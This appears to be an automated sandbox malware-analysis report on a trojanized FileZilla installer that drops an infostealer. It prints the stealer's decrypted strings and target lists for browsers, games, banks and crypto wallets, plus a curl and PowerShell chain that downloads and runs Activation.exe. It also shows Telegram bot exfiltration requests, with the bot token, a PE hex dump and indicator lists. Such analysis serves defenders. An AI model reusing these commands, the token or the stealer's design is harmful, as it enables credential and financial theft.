Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: gdi32.dll
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: GetDeviceCaps
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Screenshot.png
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: file
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: filename
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: filedescription
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: POST
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/602.37 (KHTML, like Gecko) Chrome/49.0.1422.399 Safari/600
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ----------------------------
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: multipart/form-data; boundary=
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: --
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: "; filename="
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: "
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Content-Type: application/octet-stream
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: .phem
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: https://api.telegram.org/bot{0}/sendDocument
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: document
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: chat_id
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: parse_mode
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: MarkdownV2
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: caption
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: wireshark
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: httpdebbugerui
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: mtmproxy
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: sniffer
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: VirtualBox
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: VBox
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: VMware Virtual
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: VMware
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Hyper-V Video
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Microsoft
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ru-RU
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: kk-KZ
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ro-MD
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: uz-UZ
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: be-BY
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: az-Latn-AZ
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: hy-AM
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ky-KG
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: tg-Cyrl-TJ
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Account ID:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Token:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Browser:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Value:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: URL:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Username:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Password:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: v
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: (
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Number: {0}Placeholder: {1}Expiration: {2}/{3}Browser: {4} v{5} ({6})
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: *.ldb
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: encrypted_key
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: DPAPI
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: CHEATS
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: celka.
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: nursultan.
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: xone
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: akrien
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: interium
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: nixware
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: skeet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: GAMES
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: roblox.com.
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: genshin
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: minecraft.net
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: epicgames.com
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: steampowered.com
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: BANK
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: tinkoff
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: sberbank
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: MONEY
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: yoomoney
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: amazon
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: funpay
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: americanexpress
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: CRYPTO

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Program Files (x86)\Fzilla\filezilla.exe

Unpacked PE file: 13.2.filezilla.exe.7ff7b8c50000.3.unpack

Source: rukT6hBo6P.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.10:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49841 version: TLS 1.2

Source: rukT6hBo6P.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: \??\C:\Users\user\AppData\Local\Activation.PDB source: Activation.exe, 0000000E.00000002.2076213670.0000000005F40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: HP[o,C:\Windows\System.pdb source: Activation.exe, 0000000E.00000002.2051910312.00000000002F8000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \System.pdb source: Activation.exe, 0000000E.00000002.2076213670.0000000005F6F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: Activation.exe, 0000000E.00000002.2076213670.0000000005F40000.00000004.00000020.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2064893036.00000000033FE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: Activation.exe, 0000000E.00000002.2060789056.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Z:\Oreans Projects\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: Activation.exe, 0000000E.00000002.2052205649.0000000000328000.00000040.00000001.01000000.0000001D.sdmp
Source:	Binary string: System.pdb source: Activation.exe, 0000000E.00000002.2076213670.0000000005F40000.00000004.00000020.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2064893036.00000000033FE000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Program Files (x86)\Fzilla\filezilla.exe

Code function: 13_2_00007FF81FA5AFD0 strlen,memcpy,CreateFileA,strchr,strchr,FindFirstFileA,_stricmp,_stricmp,strlen,CloseHandle,_errno,_errno,_errno,_errno,GetLastError,FindClose,_errno,_errno,_stricmp,_stricmp,_stricmp,strlen,_errno,_errno,_errno,

13_2_00007FF81FA5AFD0

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\SysWOW64\wscript.exe

Child: C:\Windows\SysWOW64\curl.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2843856 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screenshot.) M2 : 192.168.2.10:49841 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0Date: Wed, 04 Dec 2024 14:12:27 GMTContent-Type: application/octet-streamContent-Length: 3361979Last-Modified: Wed, 04 Dec 2024 11:50:13 GMTConnection: keep-aliveETag: "675041f5-334cbb"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 7a 3d 50 67 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 dc 01 00 00 08 00 00 00 00 00 00 58 e0 56 00 00 20 00 00 00 00 02 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 89 00 00 04 00 00 4d 6c 33 00 02 00 60 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3a 40 02 00 50 00 00 00 00 60 02 00 c0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 20 20 20 20 20 00 e0 01 00 00 20 00 00 6a e0 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 20 20 20 20 20 20 20 20 be 05 00 00 00 00 02 00 99 02 00 00 00 e6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 20 0c 00 00 00 00 20 02 00 0f 00 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 69 6d 70 6f 72 74 73 00 20 00 00 00 40 02 00 00 02 00 00 00 ec 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 20 00 00 00 60 02 00 00 06 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 68 65 6d 69 64 61 00 60 54 00 00 80 02 00 00 00 00 00 00 f4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 e0 2e 62 6f 6f 74 00 00 00 00 5a 32 00 00 e0 56 00 bb 58 32 00 00 f4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 172.67.70.233 172.67.70.233
Source: Joe Sandbox View	IP Address: 49.12.121.47 49.12.121.47

Source: Joe Sandbox View

ASN Name: Africa-on-Cloud-ASZA Africa-on-Cloud-ASZA

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic	HTTP traffic detected: POST /bot7772275304:AAF3OSvWBzn5cIHkGD9ueBFz5ed91u-60-U/sendDocument HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/602.37 (KHTML, like Gecko) Chrome/49.0.1422.399 Safari/600Content-Type: multipart/form-data; boundary=----------------------------8dd1443d25ea734Host: api.telegram.orgContent-Length: 242345Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Activation.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 45.200.148.86Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86

Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /edcf12dd-a024-4e17-9ac8-333ede06915f.bat HTTP/1.1Host: 45.200.148.86User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /Activation.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 45.200.148.86Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: update.filezilla-project.org
Source: global traffic	DNS traffic detected: DNS query: get.geojs.io
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST /bot7772275304:AAF3OSvWBzn5cIHkGD9ueBFz5ed91u-60-U/sendDocument HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/602.37 (KHTML, like Gecko) Chrome/49.0.1422.399 Safari/600Content-Type: multipart/form-data; boundary=----------------------------8dd1443d25ea734Host: api.telegram.orgContent-Length: 242345Expect: 100-continueConnection: Keep-Alive

Source: wscript.exe, 00000006.00000002.1621908923.0000000003060000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.20
Source: powershell.exe, 0000000A.00000002.1742906077.0000000004E46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.86
Source: curl.exe, 00000009.00000003.1638520445.000000000305A000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.1638381446.0000000003059000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000002.1638793075.000000000305A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.86/
Source: powershell.exe, 0000000A.00000002.1742906077.0000000004CF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.86/Activation.exe
Source: powershell.exe, 0000000A.00000002.1734546131.0000000002EE8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1790273722.0000000008542000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.86/Activation.exe-OutFileActivation.exe;./Activation.exe;exit
Source: powershell.exe, 0000000A.00000002.1735786712.00000000030A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.86/Activation.exe-OutFileActivation.exe;./Activation.exe;exit.G
Source: powershell.exe, 0000000A.00000002.1736624575.0000000004910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.86/Activation.exe-OutFileActivation.exe;./Activation.exe;exitOO
Source: powershell.exe, 0000000A.00000002.1791188598.00000000085C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.86/Activation.exe-OutFileActivation.exe;./Activation.exe;exitd
Source: powershell.exe, 0000000A.00000002.1734546131.0000000002EE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.86/Activation.exe-OutFileActivation.exe;./Activation.exe;exite
Source: powershell.exe, 0000000A.00000002.1734673970.0000000002F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.86/Activation.exe-OutFileActivation.exe;./Activation.exe;exitf
Source: powershell.exe, 0000000A.00000002.1735399674.0000000002FA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.86/Activation.exe-OutFileActivation.exe;./Activation.exe;exitz
Source: powershell.exe, 0000000A.00000002.1734673970.0000000002EFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.86/Activation.exesh
Source: powershell.exe, 0000000A.00000002.1735786712.00000000030A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.86/activation.exe
Source: curl.exe, 00000009.00000002.1638793075.0000000003048000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.86/edcf12dd-a
Source: wscript.exe, wscript.exe, 00000006.00000002.1621908923.0000000003060000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.b
Source: curl.exe, 00000009.00000002.1638793075.0000000003040000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000002.1638793075.0000000003048000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.bat
Source: curl.exe, 00000009.00000002.1638793075.0000000003048000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.batQL
Source: curl.exe, 00000009.00000002.1638793075.0000000003048000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.batbL
Source: curl.exe, 00000009.00000002.1638793075.0000000003048000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.86/edcf12dd-aAE4d
Source: Activation.exe, 0000000E.00000002.2064893036.00000000033A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: Activation.exe, 0000000E.00000002.2064893036.00000000033A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.orgd
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://barnamenevis.org/forum/showthread.php?t=207094
Source: powershell.exe, 0000000A.00000002.1784009131.0000000007514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mi
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://filezilla-project.org/probe.php
Source: Activation.exe, 0000000E.00000002.2064893036.0000000003412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://get.geojs.io
Source: Activation.exe, 0000000E.00000002.2064893036.0000000003412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://get.geojs.iod
Source: filezilla.exe, 0000000D.00000002.2599216002.000001CD07E10000.00000004.00000020.00020000.00000000.sdmp, filezilla.exe, 0000000D.00000000.1667641893.00007FF7B8F67000.00000002.00000001.01000000.0000000A.sdmp, filezilla.exe, 0000000D.00000002.2599216002.000001CD07DC8000.00000004.00000020.00020000.00000000.sdmp, is-E1LTR.tmp.2.dr	String found in binary or memory: http://ip.filezilla-project.org/ip.php
Source: filezilla.exe, 0000000D.00000002.2604913419.00007FF7B8F67000.00000002.00000001.01000000.0000000A.sdmp, filezilla.exe, 0000000D.00000000.1667641893.00007FF7B8F67000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://ip.filezilla-project.org/ip.php&Don
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip.filezilla-project.org/ip.phpA
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip.filezilla-project.org/ip.phpAizkavei
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip.filezilla-project.org/ip.phpAjavahemik
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip.filezilla-project.org/ip.phpAmen
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip.filezilla-project.org/ip.phpBa
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip.filezilla-project.org/ip.phpDe
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp, is-E1LTR.tmp.2.dr	String found in binary or memory: http://ip.filezilla-project.org/ip.phpDelay
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip.filezilla-project.org/ip.phpDie
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip.filezilla-project.org/ip.phpEl
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip.filezilla-project.org/ip.phpEp
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip.filezilla-project.org/ip.phpEy
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip.filezilla-project.org/ip.phpF
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip.filezilla-project.org/ip.phpForseinkinga
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip.filezilla-project.org/ip.phpForsinkelsen
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip.filezilla-project.org/ip.phpHuts
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip.filezilla-project.org/ip.phpIl
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip.filezilla-project.org/ip.phpKeterlambatan
Source: filezilla.exe, 0000000D.00000002.2608778114.00007FF820F54000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://ip.filezilla-project.org/ip.phpLast
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip.filezilla-project.org/ip.phpLe
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip.filezilla-project.org/ip.phpO
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip.filezilla-project.org/ip.phpTh
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip.filezilla-project.org/ip.phpU
Source: filezilla.exe, 0000000D.00000002.2599216002.000001CD07E9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip.filezilla-project.org/ip.phpUAn
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip.filezilla-project.org/ip.phpZadr
Source: filezilla.exe, 0000000D.00000002.2599216002.000001CD07E9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip.filezilla-project.org/ip.php_CN
Source: powershell.exe, 0000000A.00000002.1763292257.0000000005D59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000A.00000002.1742906077.0000000004E46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000A.00000002.1742906077.0000000004E46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 0000000A.00000002.1742906077.0000000004CF1000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2064893036.0000000003331000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000A.00000002.1742906077.0000000004E46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://translationproject.org/team/vi.html
